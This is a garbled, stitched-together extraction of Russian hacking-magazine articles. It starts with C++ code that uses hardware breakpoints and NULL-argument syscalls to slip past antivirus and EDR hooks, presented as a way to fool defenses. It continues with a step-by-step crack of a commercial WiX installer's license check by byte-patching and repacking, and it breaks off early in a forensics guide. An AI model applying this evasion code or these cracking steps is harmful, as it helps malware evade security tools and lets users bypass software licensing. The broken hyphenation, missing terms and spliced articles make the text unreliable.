Ве селые хеши. Реали зуем тех нику API Hashing, что бы

обду рить анти вирус

#define hash( VAL ) constexpr auto CONCAT( hash, VAL ) = HASHALGO( 
TOKENIZE( VAL ) );

Да лее ини циали зиру ются все эле мен ты струк туры :NtMapViewOfSectionArgs

  typedef struct {
HANDLE      SectionHandle;
HANDLE      ProcessHandle;
PVOID       BaseAddress;
ULONG       ZeroBits;
SIZE_T      CommitSize;

    PLARGE_INTEGER SectionOffset;
     PSIZE_T ViewSize;

  DWORD InheritDisposition;
ULONG       AllocationType;
ULONG       Win32Protect;
 } NtMapViewOfSectionArgs;

Эта струк тура содер жит информа цию обо всех аргу мен тах фун кции
, которые будут при менять ся в даль нейшем.NtMapViewOfSection

За тем уста нав лива ется спе циаль ное зна чение , бла года ря
которо му отладчик смо жет понять, бряк на какую фун кцию сра ботал. Наконец,
про исхо дит непос редс твен но вызов Nt-фун кции, адрес которой был получен
ранее.

EnumState

       
 

  
 

  

status = fNtMapViewOfSection( NULL, NULL, NULL, NULL,
pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.
SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.
AllocationType, pNtMapViewOfSectionArgs.Win32Protect );

Об рати вни мание, что пер выми четырь мя парамет рами мы переда ем .

Имен но эти парамет ры, ско рее все го, будет ана лизи ровать анти вирус
до выпол нения инс трук ции . Но мы на их мес то переда ем , что
сби вает анти вирус с тол ку: он не может при нять решение, легитим ный
это вызов или нет, в резуль тате чего про пус кает вызов. Фак тичес ки таким
обра зом мы обош ли потен циаль ный хук.

NULL

syscall NULL

За чем нуж ны NULL-парамет ры

Вос ста нов ление парамет ров про исхо дит как раз таки в фун кции-обра бот чике
HWBP.

    
 

LONG WINAPI OneShotHardwareBreakpointHandler( PEXCEPTION_POINTERS
ExceptionInfo )
{

   
 

if( ExceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP )
{
      if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
  // If the ExceptionInfo->ContextRecord->Rip == ExceptionInfo->
ContextRecord->Dr0
  // Then we are at the one shot breakpoint address
  // ExceptionInfo->ContextRecord->Rax should hold the syscall 
number
     PRINT( "Syscall : 0x%x\n", ExceptionInfo->ContextRecord->Rax );
     

  
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->

ContextRecord->Dr0 ) {
  ExceptionInfo->ContextRecord->Dr0 = 0;

// You need to fix your arguments in the right registers and stack 
here

   switch( EnumState ) {
 // RCX moved into R10!!! Kudos to @anthonyprintup for catching this

 case NTMAPVIEWOFSECTION_ENUM:
  ExceptionInfo->ContextRecord->R10 =
  (DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->SectionHandle;

  ExceptionInfo->ContextRecord->Rdx =
  (DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;

  ExceptionInfo->ContextRecord->R8 =
  (DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;

  ExceptionInfo->ContextRecord->R9 =
  (DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ZeroBits;

 break;

 case NTUNMAPVIEWOFSECTION_ENUM:
  ExceptionInfo->ContextRecord->R10 =
  (DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;

  ExceptionInfo->ContextRecord->Rdx =
  (DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;

 break;

 case NTOPENSECTION_ENUM:
  ExceptionInfo->ContextRecord->R10 =
  (DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->SectionHandle;

  ExceptionInfo->ContextRecord->Rdx =
  (DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->DesiredAccess;

  ExceptionInfo->ContextRecord->R8 =
  (DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->ObjectAttributes;

 break;

 // You have messed up by not providing the indexed state
default:
    ExceptionInfo->ContextRecord->Rip += 1; // Just so we don’t hang
 break;
}

 return EXCEPTION_CONTINUE_EXECUTION;
  }
 }
}

 return EXCEPTION_CONTINUE_SEARCH;
}

Сна чала эта фун кция про веря ет, что исклю чение дей стви тель но хар двер ное.
Для это го про исхо дит срав нение со зна чени ем , об этой

про вер ке я рас ска зывал выше.

STATUS_SINGLE_STEP

Да лее сис тема про веря ет, что хар двер ный брейк-пой нт был вклю чен (дол- 
жно быть зна чение  у ). Сле дующим шагом из регис тра  извле кает ся

номер сис кола, который был туда занесен. Пос ле чего про веря ем, что адрес
сле дующей выпол няемой инс трук ции ( ) дей стви тель но лежит в ,
то есть уста нов ленный на нее бряк дей стви тель но сра ботал. Пос ле чего
HWBP сни мает ся и начина ется про вер ка зна чения , которое ини- 

циали зиро вали ранее. Это нуж но для кор рек тной ини циали зации всех
парамет ров фун кции. Если все прош ло успешно, сра баты вает бряк, а за
ним — , что при водит к выпол нению сис кола

с нуж ными нам парамет рами. Фак тичес ки мы «проб расыва ем парамет ры»
в обход EDR.

1 Dp7 Rax

syscall Dp0

EnumState

EXCEPTION_CONTINUE_EXECUTION

По хожая тех ника при меня ется и в , есть даже отдель ный
.

HWSyscalls
шелл-код-лоадер

ÀÍÕÓÊÈÍÃ

Хар двер ные бря ки — очень полез ная шту ка! Их мож но исполь зовать и для
сня тия хуков в юзер моде. Для это го нуж но пред варитель но соз дать дочер ний
про цесс, став для него дебаг гером. Пос ле это го уста новить HWBP на фун- 
кцию . Эта фун кция вызыва ется при заг рузке DLL в про цесс,
на ее осно ве я написал собс твен ную  — под робнее в статье

« ».

LdrLoadDll()
LoadLibrary()

Мол чи и скры вай ся. Пря чем IAT от анти виру са
Да лее оста ется лишь про верять име на заг ружа емых DLL, раз решая под- 

груз ку толь ко . Убе див шись, что отла жива емый про цесс заг рузил

, мы копиру ем ее содер жимое в свой собс твен ный про цесс

и переза писы ваем  нашего текуще го про цес са, что и при водит
к анху кин гу. Тех ника называ ется BlindSide, сущес тву ет готовый .

ntdll.dll
ntdll.dll

ntdll.dll
PoC

Ал горитм сня тия хуков

ÏÈØÅÌ ÊÀÑÒÎÌÍÛÉ GETTHREADCONTEXT()

Мне кажет ся, мы недос таточ но хорошо прош лись по парамет рам, которые
при лета ют в фун кцию-обра бот чик. Что ж, исправ ляюсь. Фун кция-обра бот чик
при нима ет струк туру , содер жащую информа цию о зна чении всех
регис тров потока. Но проб лема в том, что регис тры х64 отли чают ся от регис- 
тров х86, поэто му есть так же струк тура , где хра нят ся зна- 
чения регис тров у прог рамм для x86.

CONTEXT

WOW64_CONTEXT

Мы можем исполь зовать эти дан ные для получе ния струк туры ,
что бы избе жать подоз ритель ной фун кции . Вот при мер

кода.

CONTEXT
GetThreadContext()

#include <iostream>
#include <Windows.h>

#ifdef _WIN64
   void ShowContext(CONTEXT ctx) {

    std::cout << "Context values:" << std::endl;
      std::cout << "P1Home: " << ctx.P1Home << std::endl;
      std::cout << "P2Home: " << ctx.P2Home << std::endl;
      std::cout << "P3Home: " << ctx.P3Home << std::endl;
      std::cout << "P4Home: " << ctx.P4Home << std::endl;
      std::cout << "P5Home: " << ctx.P5Home << std::endl;
      std::cout << "P6Home: " << ctx.P6Home << std::endl;
      std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
      std::cout << "MxCsr: " << ctx.MxCsr << std::endl;
      std::cout << "SegCs: " << ctx.SegCs << std::endl;
      std::cout << "SegDs: " << ctx.SegDs << std::endl;
      std::cout << "SegEs: " << ctx.SegEs << std::endl;
      std::cout << "SegFs: " << ctx.SegFs << std::endl;
      std::cout << "SegGs: " << ctx.SegGs << std::endl;
      std::cout << "SegSs: " << ctx.SegSs << std::endl;
      std::cout << "EFlags: " << ctx.EFlags << std::endl;
      std::cout << "Dr0: " << ctx.Dr0 << std::endl;
      std::cout << "Dr1: " << ctx.Dr1 << std::endl;
      std::cout << "Dr2: " << ctx.Dr2 << std::endl;
      std::cout << "Dr3: " << ctx.Dr3 << std::endl;
      std::cout << "Dr6: " << ctx.Dr6 << std::endl;
      std::cout << "Dr7: " << ctx.Dr7 << std::endl;
      std::cout << "Rax: " << ctx.Rax << std::endl;
      std::cout << "Rcx: " << ctx.Rcx << std::endl;
      std::cout << "Rdx: " << ctx.Rdx << std::endl;
      std::cout << "Rbx: " << ctx.Rbx << std::endl;
      std::cout << "Rsp: " << ctx.Rsp << std::endl;
      std::cout << "Rbp: " << ctx.Rbp << std::endl;
      std::cout << "Rsi: " << ctx.Rsi << std::endl;
      std::cout << "Rdi: " << ctx.Rdi << std::endl;
      std::cout << "R8: " << ctx.R8 << std::endl;
      std::cout << "R9: " << ctx.R9 << std::endl;
      std::cout << "R10: " << ctx.R10 << std::endl;
      std::cout << "R11: " << ctx.R11 << std::endl;
      std::cout << "R12: " << ctx.R12 << std::endl;
      std::cout << "R13: " << ctx.R13 << std::endl;
      std::cout << "R14: " << ctx.R14 << std::endl;
      std::cout << "R15: " << ctx.R15 << std::endl;
      std::cout << "Rip: " << ctx.Rip << std::endl;

}
#endif

   void ShowContext32(CONTEXT ctx) {
    std::cout << "Context values:" << std::endl;
      std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
      std::cout << "Dr0: " << ctx.Dr0 << std::endl;
      std::cout << "Dr1: " << ctx.Dr1 << std::endl;
      std::cout << "Dr2: " << ctx.Dr2 << std::endl;
      std::cout << "Dr3: " << ctx.Dr3 << std::endl;
      std::cout << "Dr6: " << ctx.Dr6 << std::endl;
      std::cout << "Dr7: " << ctx.Dr7 << std::endl;
      std::cout << "SegGs: " << ctx.SegGs << std::endl;
      std::cout << "SegFs: " << ctx.SegFs << std::endl;
      std::cout << "SegEs: " << ctx.SegEs << std::endl;
      std::cout << "SegDs: " << ctx.SegDs << std::endl;
      std::cout << "Edi: " << ctx.Edi << std::endl;
      std::cout << "Esi: " << ctx.Esi << std::endl;
      std::cout << "Ebx: " << ctx.Ebx << std::endl;
      std::cout << "Edx: " << ctx.Edx << std::endl;
      std::cout << "Ecx: " << ctx.Ecx << std::endl;
      std::cout << "Eax: " << ctx.Eax << std::endl;
      std::cout << "Ebp: " << ctx.Ebp << std::endl;
      std::cout << "Eip: " << ctx.Eip << std::endl;
      std::cout << "SegCs: " << ctx.SegCs << std::endl;
      std::cout << "EFlags: " << ctx.EFlags << std::endl;
      std::cout << "Esp: " << ctx.Esp << std::endl;
      std::cout << "SegSs: " << ctx.SegSs << std::endl;

}

    LONG WINAPI Handler(PEXCEPTION_POINTERS ExceptionInfo) {
    std::cout << "[+] GetThreadContext Result:" << std::endl;

    static int value = 0;
  value += 1;

#ifdef _WIN64
   PCONTEXT ctx = ExceptionInfo->ContextRecord;

ShowContext(*ctx);
#else

   PCONTEXT ctx = ExceptionInfo->ContextRecord;
ShowContext32(*ctx);
#endif

    if (value == 2) {
   value = 0;
  return EXCEPTION_CONTINUE_SEARCH;
}

 else {
  return EXCEPTION_CONTINUE_EXECUTION;
}
}

  void CustomGetThreadContext() {
 AddVectoredExceptionHandler(1, Handler);

 try {
  throw "exception";
}

  catch (...) {
 RemoveVectoredExceptionHandler(Handler);
 return;
}
}

  int main() {
CustomGetThreadContext();

 return 0;
}

ÑÒÀÂÈÌ ÕÓÊÈ

На конец, самое соч ное — уста нов ка хуков. Алго ритм не отли чает ся ров ным
сче том ничем. Умель цы дав но реали зова ли в виде милой DLL-биб лиоте ки,
мне оста ется лишь при ложить .ссыл ку на PoC

ÂÛÂÎÄÛ

Ис поль зование аппа рат ных точек оста нова в пен тестер ских целях — очень
необыч ное и сме лое решение, которое встре чает ся ред ко. Самое глав ное —
гра мот но обра баты вать исклю чения, которые ты сам себе дела ешь. Ведь
если что-то забудешь обра ботать, то твоя прог рамма упа дет и при дет ся все
запус кать заново.

https://xakep.ru/2023/08/08/hells-gate/
https://github.com/rad9800/TamperingSyscalls
https://xakep.ru/2023/10/06/api-hashing/
https://github.com/ShorSec/HWSyscalls
https://github.com/florylsk/NtRemoteLoad
https://xakep.ru/2023/09/05/hiding-iat/#toc02.
https://github.com/CymulateResearch/Blindside/tree/main
https://learn.microsoft.com/ru-ru/windows/win32/api/winnt/ns-winnt-context
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-wow64_context
https://github.com/rad9800/hwbp4mw


ИССЛЕДУЕМ ИНСТАЛЛЯТОР
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ВЗЛОМ

Ин стал ляторы быва ют раз ные: и поп роще,
и пос ложнее. Иног да сре ди них попада ются
уж сов сем наворо чен ные — их иссле дова- 
ние прев раща ется в нас тоящее прик- 
лючение. Сегод ня мы рас смот рим имен но
такой слу чай: раз берем ся, как устро ен
изнутри инстал лятор WiX.

В  я неод нократ но зат рагивал инстал ляторы и сре ды для их раз-
работ ки. Эта тема обширна и неис черпа ема, пос коль ку для удобс тва и прос- 
тоты над базовы ми сис темами инстал ляции были соз даны надс трой ки,
над которы ми раз работ чики соору дили дру гие надс трой ки, и так далее.
В ито ге сам инстал лятор по слож ности и кра соте интерфей са (к сожале нию,
и раз меру) иног да не усту пает инстал лиру емо му пакету, а раз борка и реверс
его вызыва ет про фес сиональ ный инте рес и дос тавля ет нас тоящее удо воль- 
ствие. При мер иссле дова ния одно го из подоб ных инстал ляторов мы и рас- 
смот рим в сегод няшней статье.

сво их стать ях

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

Итак, у нас име ется инстал лятор для неко его тех ничес кого пакета, офор млен- 
ный в виде весь ма уве сис того (раз мером в нес коль ко гигабай тов) самодос- 
таточ ного EXE-фай ла. Интерфейс у инстал лятора прод винутый и стиль ный, он
не похож на визу аль ное пред став ление ни одно го из встре чав шихся нам
до это го стан дар тных инстал ляци онных пакетов. Здесь мно го эле мен тов
управле ния, которые шус тро перек люча ют стра нич ки по мере запол нения,
приб лижая начало уста нов ки прог раммы. Но вот беда — в опре делен ный
момент инстал лятор начина ет тре бовать лицен зию, без которой упор но
не жела ет перехо дить на сле дующий экран.

Мы уже встре чались с подоб ным поведе нием прог рамм уста нов ки в пре дыду- 
щих стать ях. Одна ко в этот раз выяс нилось, что прог рамма содер жит все неп- 
рият ные фичи, при сущие инстал ляторам:
1. Из весь ма уве сис того EXE-фай ла исполня емым явля ется толь ко кро хот- 

ный и совер шенно неин форма тив ный заг рузчик.
2. Вла делец про цес са тоже отно ситель но неболь шой EXE-файл, запущен ный

из сис темной пап ки вре мен ных фай лов.
3. Пе ред нами не хорошо изу чен ные msiexec или InstallShield, а что-то иное.

По пытав шись при атта чить ся к запущен ному про цес су при помощи x64dbg,
мы видим, что код явно ском пилиро ван в про цес се исполне ния. Этот код
до боли напоми нает .NET, что кос венно под твержда ется наличи ем в памяти
про цес са заг ружен ных дот нетов ских биб лиотек ( , ,

 и так далее). Одна ко ни сам инстал лятор, ни исполня емый файл

из вре мен ной пап ки .NET-при ложе ниями не явля ются.

clr.dll clrjit.dll
mscoree.dll

Дот нетов ский отладчик dnSpy хоть и рас позна ет про цесс как род ной
и даже успешно кон нектит ся к нему, но никако го дот нетов ско го кода при этом
не показы вает и трас сировать при ложе ние не дает. В прин ципе, дот нетов- 
ские про екты с зак рытым кодом мы уже учи лись пот рошить в стать ях «

» и «
», одна ко побере жем пока что тяжелую

артилле рию. Поп робу ем для начала разоб рать ся, с чем имен но мы стол кну- 
лись на этот раз. Необ ходимую зацеп ку нам дает Detect It Easy.

Не- 
ядер ный реак тор. Взла мыва ем про тек тор .NET Reactor Ан гард! Ревер сим
при ложе ние, защищен ное DNGuard

Оче вид но, и сам инстал лятор, и вре мен ный файл рас позна ются DIE как WiX
Toolset installer с овер леем Microsoft Cabinet File (CAB). Про CAB, в прин ципе,
мож но было бы догадать ся по сиг натуре 4D534346 (MSCF) у овер леев, но это
нам еще при годит ся чуть поз же.

А пока поп робу ем вспом нить, что такое WiX и чем имен но это зна ние
может помочь в даль нейшем ана лизе при ложе ния. Это сло во из трех букв
рас шифро выва ется как Windows Installer XML Toolset и пред став ляет собой
(как сле дует из наз вания) набор инс тру мен тов для соз дания инстал ляци- 
онных пакетов на осно ве . Если тебе инте рес но узнать попод- 
робнее про этот пакет, ты можешь озна комить ся с его осо бен ностя ми, нап- 
ример, в  на «Хаб рахаб ре».

XML-опи сания

статье
Хоть автор и пла чет ся по поводу пло хой докумен тирован ности пакета,

информа ция о нем в откры том дос тупе , . Воз можно, я ког- 
да-нибудь и сам напишу статью об осо бен ностях внут ренне го фор мата это го
типа инстал ляторов, но тема нашей сегод няшней статьи лежит в иной плос- 
кости.

есть и мно го

Cуть в том, что основное дос тоинс тво тех нологии WiX в ее рас ширя емос- 
ти — нес мотря на наличие сво их собс твен ных интерфей сных шаб лонов, в ней
име ется воз можность под клю чить кас томный интерфейс поль зовате ля,
написан ный на .NET (Custom Bootstrapper Application). Что мы и наб люда ем
в нашем при ложе нии. Как самому соз давать подоб ные интерфей сы, мож но
узнать в статье .Writing Your Own .Net-based Installer with WiX

Пе ред нами же сто ит пря мо про тиво полож ная задача — разоб рать ся
с сущес тву ющим при ложе нием. Для это го его нуж но хотя бы разоб рать
на сос тавные фай лы, и, к счастью, WiX пре дос тавля ет для это го необ ходимый
инс тру мен тарий. Для начала заходим  и кача ем отту да архив

. Он содер жит набор ути лит коман дной стро ки

для работы с WiX-инстал лятора ми, из которо го для нас пред став ляет инте рес
 — экс трак тор фай лов из WiX-архи ва. Поль зовать ся им не прос то,

а очень прос то: надо все го-нав сего запус тить его из коман дной стро ки:

на GitHub
wix311-binaries.zip

dark.exe

dark.exe <имя нашего инсталлятора.exe> -x
<имя каталога, в который будут распаковываться файлы пакета> 

Пос ле отра бот ки коман ды в ука зан ном нами катало ге будет соз дана слож ная
сис тема под катало гов с инстал лиру емы ми MSI-пакета ми, ресур сами и биб- 
лиоте ками, необ ходимы ми для уста нов ки. К велико му сожале нию,
это работа ет толь ко в одну сто рону. Фарш невоз можно про вер нуть назад,
и соб рать обратно из этой солян ки инстал ляци онный EXE будет сов сем
не прос то, но мы подума ем об этом поз же. А сей час нас инте ресу ют ресур сы
WiX, которые находят ся в под папке  в кор не рас пакован ного катало га.
В час тнос ти, осо бый инте рес пред став ляет файл ,

в сек ции  которо го (как мы узна ли из про читан ной

докумен тации) и содер жится имя Custom Bootstrapper Application:

UX
BootstrapperCore.config

wix.bootstrapper

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
 <configSections>
     <sectionGroup name="wix.bootstrapper" type="Microsoft.Tools.
WindowsInstallerXml.Bootstrapper.BootstrapperSectionGroup, 
BootstrapperCore">

  
 

     <section name="host" type="Microsoft.Tools.WindowsInstallerXml.
Bootstrapper.HostSection, BootstrapperCore" />
   </sectionGroup>
 </configSections>
  <startup useLegacyV2RuntimeActivationPolicy="true">
     <supportedRuntime version="v4.0" />
 </startup>
 <wix.bootstrapper>
    <host assemblyName="Xeam.VisualInstaller">

       <supportedFramework version="v4\Full" />
       <supportedFramework version="v4\Client" />

   </host>
 </wix.bootstrapper>
</configuration>

По хоже, мы выш ли на сле дующий уро вень, ибо  — это еще
одна надс трой ка над WiX. А имен но сис тема соз дания визу аль ных инстал- 
ляторов для тех, кому не нра вят ся «скуч ные обои» встро енных в WiX шаб лонов
инстал ляци онных интерфей сов. Покурив тут же нагуг ленное 

, обна ружи ваем, что раз бира емый нами инстал лятор —
пол ностью шаб лонное при ложе ние Xeam Visual Installer, заточен ное вот
под такой шаб лон.

Xeam Visual Installer

ру ководс тво
по дан ному пакету

Соз датели Xeam Visual Installer изба вили сво их поль зовате лей от рисова ния
и прог рамми рова ния интерфей са. Им нуж но все го-нав сего написать мел кие
про цеду ры валида ции вво димых парамет ров и перехо дов меж ду экра нами.
Заг рузив в dnSpy биб лиоте ку  из катало га  и нем ного
изу чив код клас са , находим вот такой

валида тор лицен зии.

Bootstrapper.Ui.dll UX
Xeam.VisualInstaller.MainWindow

Нес мотря на кажущу юся слож ность, мы уже научи лись закора чивать подоб- 
ные методы прос тым двух бай товым пат чем  по сме щению фай ла

.

return 1
0x2750

Про верить дей ствен ность выб ранно го метода дос таточ но прос то. При атта- 
чив шись с помощью x64dbg к инстал лятору и най дя поис ком по шаб лону
иско мый IL-код, пат чим нуж ные два бай та в памяти и убеж даем ся, что пос ле
окна про вер ки лицен зии переход к сле дующе му окну выпол няет ся без проб- 
лем. На этом мес те мож но было бы и оста новить ся, уста новив пакет столь
экзо тичес ким спо собом. Мож но так же написать лоадер, на лету пат чащий
про цесс инстал лятора, но мы пой дем самым слож ным путем: будем пат чить
инстал ляци онный пакет.

Как я уже писал, пос ле того как мы разоб рали WiX-пакет на сос тавля ющие
при помощи , нель зя так прос то взять и соб рать про пат ченный
пакет обратно. Поп равить пару бай тов в самом пакете тоже нель зя, там ком- 
прес сия. Поэто му при дет ся покопать ся во внут ренней струк туре пакета,
которая, к сожале нию, не докумен тирова на вооб ще.

dark.exe

Од нако в мире дос таточ но любопыт ных энту зиас тов, которые оза дачи- 
вались этой проб лемой до нас. В прин ципе, нес ложно было бы и самим
разоб рать ся во всем, минут пят надцать погоняв код заг рузчи ка в отладчи ке,
но не буду заг ромож дать повес тво вание под робнос тями, как получать
информа цию, а перей ду сра зу к резуль тату. Если открыть инстал лятор
в каком-нибудь редак торе EXE (нап ример, Hiew), то в его заголов ке мы уви- 
дим сле дующие сек ции:

Number  Name     VirtSize   RVA         PhysSize    Offset      Flag 
1       .text    00048FF7   00001000    00049000    00000400    
60000020 
2       .rdata   0001F760   0004A000    0001F800    00049400    
40000040 
3       .data    000016FC   0006A000    00000A00    00068C00    
C0000040 
4       .wixburn 00000038   0006C000    00000200    00069600    
40000040 
5       .rsrc    0007DECC   0006D000    0007E000    00069800    
40000040 
6       .reloc   00003DD0   000EB000    00003E00    000E7800    
42000040 

Об рати вни мание на сек цию , спе цифи чес кую для каж дого WiX-

инстал лятора. Имен но по ней, кста ти, Detect It Easy и опре деля ет при над- 
лежность при ложе ния к это му типу. Перей дя к ука зан ной сек ции, мы видим
такую пос ледова тель ность бай тов.

.wixburn

Она интер пре тиру ется сле дующим обра зом:

0     DD        Magic number                            0xF14300 
4     DD        Version                                 2 

?8     DB 16 DUP ( ) Bundled GUID                        {3F10D12E-
D4C3-4DE6-EDBD-079DBB81B6A9}

stub0x18  DD        Engine ( ) size                      0xEB600
0x1C  DD        Original checksum                       0x1F45150 
0x20  DD        Original signature offset               0x1F383A8 
0x24  DD        Original signature size                 0x2D78 

1  CAB0x28  DD        Container Type ( = )                1 
0x2C  DD        Container Count                         2 
0x30  DD        Byte count of manifest + UX container   0x1E4CDA2 
0x34  DD        Byte count of attached container        0x4363C6C9 

Поп робу ем разоб рать ся, что пред став ляют собой эти поля. 

 — это раз мер исполня емо го модуля, пос ле него по сме щению 
от начала фай ла начина ется овер лей. Он пред став ляет собой содер жимое
катало га , то есть ресур сы инстал лятора WiX и Xeam Visual Installer, которые

и содер жат про пат ченный нами файл .

Engine (stub) 
size 0xEB600

UX
Bootstrapper.Ui.dll

Как я уже упо минал, этот овер лей име ет сиг натуру 4D534346 (MSCF), то
есть упа кован в CAB-архив, что и под твержда ет стро ка .

Сра зу за  по сме щению 
 от начала фай ла начина ется под пись фай ла. Пос ле нее

по сме щению  от начала фай ла рас положен

самый боль шой attached container, содер жащий в себе все фай лы инстал- 
лиру емо го пакета. Этот архив тоже име ет сиг натуру MSCF и тип CAB.

Container Type=1
UX container Original signature 

offset=0x1F383A8
0x1F383A8+0x2D78=0x1F3B120

Мо раль всех этих изыс каний такова: если мы хотим, что бы инстал лятор
кор рек тно работал пос ле перепа ков ки и замены CAB-кон тей нера, мы дол жны
поп равить как минимум сме щения в заголов ке сек ции ..wixburn

Поп робу ем про делать эту опе рацию на прак тике.
Для начала откро ем наш файл в редак торе WinHex и разобь ем его на три

час ти:  — исполня емый образ,  — UX
container и хвост от  до кон ца фай ла — сиг натура + attached

container.

0-0xEB600 0xEB600-0x0x1F383A8
0x1F383A8

Те перь нам надо заменить в UX container файл 
исправ ленным. Эта опе рация на самом деле не такая уж и прос тая. Рас- 
паковы вать CAB-фай лы уме ют прак тичес ки все архи вато ры, одна ко внут- 
реннее содер жимое у них нес трук туриро ван ное, фай лы обез личены, при чем
они час то име ют номер ные наз вания. Вдо бавок мало кто из извес тных архи- 
вато ров уме ет собирать CAB-архи вы. 7-Zip и WinRAR, к при меру, не уме ют,
а вот экзо тичес кий  уме ет, им и вос поль зуем ся.

Bootstrapper.Ui.dll

PowerArchiver
Вык рутить ся с име нами фай лов тоже доволь но прос то: пос коль ку раз меры

фай лов уни каль ные, дос таточ но упо рядо чить эти самые фай лы по величи не
и пос мотреть, какой файл в архи ве соот ветс тву ет раз мером нашему

. В нашем слу чае это  — пере име новы ваем исправ- 
ленный  в , закиды ваем его вмес то преж него и сно ва

собира ем CAB при помощи PowerArchiver. Раз мер при перепа ков ке, естес- 
твен но, изме нил ся, поэто му пос ле того, как мы сно ва скле или три час ти, поп- 
равим заголо вок сек ции . Как показы вает прак тика, дос таточ но

поменять  для того, что бы инстал лятор кор рек- 

тно отра ботал.

Bootstrapper.Ui.dll u5
Bootstrapper.Ui.dll u5

.wixburn
Original signature offset

В зак лючение хочу выразить надеж ду, что получен ная в этой статье
информа ция будет исполь зовать ся не в дес трук тивных и кри миналь ных целях,
а исклю читель но на бла го общес тва, нап ример для локали зации и совер- 
шенс тво вания пакетов без пол ного пересоз дания дис три бути ва. А кому-то,
воз можно, это откро ет путь для соз дания инстал лятора собс твен ной прог- 
раммы с ори гиналь ным и прод винутым интерфей сом.

https://xakep.ru/author/mikhail_kondakov/
https://xakep.ru/2022/03/24/net-reactor-hack/
https://xakep.ru/2023/03/29/reversing-dnguard/
https://wixtoolset.org/
https://habr.com/ru/companies/auriga/articles/668082/
https://documentation.help/WiX-v3.0/wix_learning.htm
https://www.firegiant.com/docs/wix/v3/tutorial/
https://www.wrightfully.com/part-1-of-writing-your-own-net-based-installer-with-wix-overview/
https://github.com/wixtoolset/wix3/releases
https://www.xeam-solutions.com/en/home.html
https://download.xeam-solutions.com/documents/VisualInstaller/VisualInstaller.pdf
https://ru.wikipedia.org/wiki/PowerArchiver
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ВЗЛОМ

Се год ня мы погово рим об основных арте- 
фак тах Windows, которые помога ют иссле- 
дова телю обна ружить век тор ком про мета- 
ции, приз наки боково го переме щения
по сети и зак репле ния в сис теме, а так же
раз берем тон кости работы с инс тру мен- 
тами для ана лиза этих арте фак тов.

Итак, пред ста вим, что мы получи ли от кли ента жес ткий диск, содер жащий
сле ды хакер ской ата ки. Извес тно, что сис тема работа ла на Windows. Наша
цель — соб рать арте фак ты для даль нейше го ана лиза.

Я буду исполь зовать сле дующие средс тва:
1.  — ути лита для вос ста нов ления дан ных.R-Studio
2.  — инс тру мент для ана лиза и получе ния обра зов дис ка.FTK Imager
3. Ути литы  для Windows.NirSoft
4. Ути литы  для ана лиза арте фак тов Windows.Eric Zimmerman

ÏÎËÓ×ÀÅÌ ÏÎÁÈÒÎÂÓÞ ÊÎÏÈÞ ÄÈÑÊÀ

По лучить дамп дис ка прос то: заг ружа емся с Live-обра за  в режиме
Forensics и исполь зуем ути литу . Либо мож но вытащить диск из сис темни ка,

под клю чить к  и снять образ с помощью инс тру мен- 
тов R-Studio, FTK Imager, Encase или им подоб ных. Иног да дос таточ но
на живой сис теме запус тить пор табель ные ути литы и получить образ дис ка
либо исполь зовать сбор щики  или , которые соберут
арте фак ты в авто мати чес ком режиме.

Kali Linux
dd

ап парат ному бло кира тору

Kape FastIR Collector

В R-Studio получе ние обра за будет выг лядеть так. Запус каем ути литу,
выбира ем диск и перехо дим на вклад ку «Соз дать образ».

Соз дание обра за дис ка

Сжа тый образ ска ниру ет толь ко занятые учас тки памяти и копиру ет их, а если
выб рать нес жатый образ — получит ся пол ная копия дис ка. При вос ста нов- 
лении уда лен ных фай лов луч ше исполь зовать нес жатый образ.

ÌÎÍÒÈÐÓÅÌ ÎÁÐÀÇ

Пер вым делом мон тиру ем образ дис ка. Для это го хороша ути лита Mount
Image Pro, либо можешь гля нуть FTK Imager.

Мон тирова ние в FTK

На жима ем на зна чок Image Mounting, ука зыва ем путь к фай лу обра за, в Mount
Method выбира ем мон тирова ние на запись.

Мон тирова ние обра за

Да лее нажима ем Mount, и диск появит ся в фай ловой сис теме.
Те перь мож но иссле довать фай лы в руч ном режиме. Луч ше все го вос- 

поль зовать ся ути литой R-Studio, которая поз воля ет ска ниро вать диск
на пред мет уда лен ных фай лов, а так же сор тировать все фай лы по датам соз- 
дания либо по рас ширению.

Со дер жимое R-Studio

ÑÊÀÍÈÐÓÅÌ ÔÀÉËÎÂÓÞ ÑÈÑÒÅÌÓ

Преж де чем ана лизи ровать арте фак ты, полез но про верить, нет ли в фай- 
ловой сис теме подоз ритель ных фай лов. Ска ниро вать мож но ути литой 

, которая уме ет опре делять мно гие инди като ры ком про мета ции. Она
ищет по име нам фай лов, хеш-сум мам, а в слу чае надоб ности в ход идут
и пра вила Yara.

Loki
Scanner

.\loki.exe -p D:\ -l log

Бан нер Loki Scanner

Еще мож но вос поль зовать ся пор табель ными анти вирус ными ути лита ми. Нап- 
ример:

 — средс тво Kaspersky для поис ка вре донос ных фай лов;• KVRT
 — ана лог, соз данный в Dr.Web;• CureIt
 — ска нер инди като ров ком про мета ции по пра вилам Yara.• Spyre

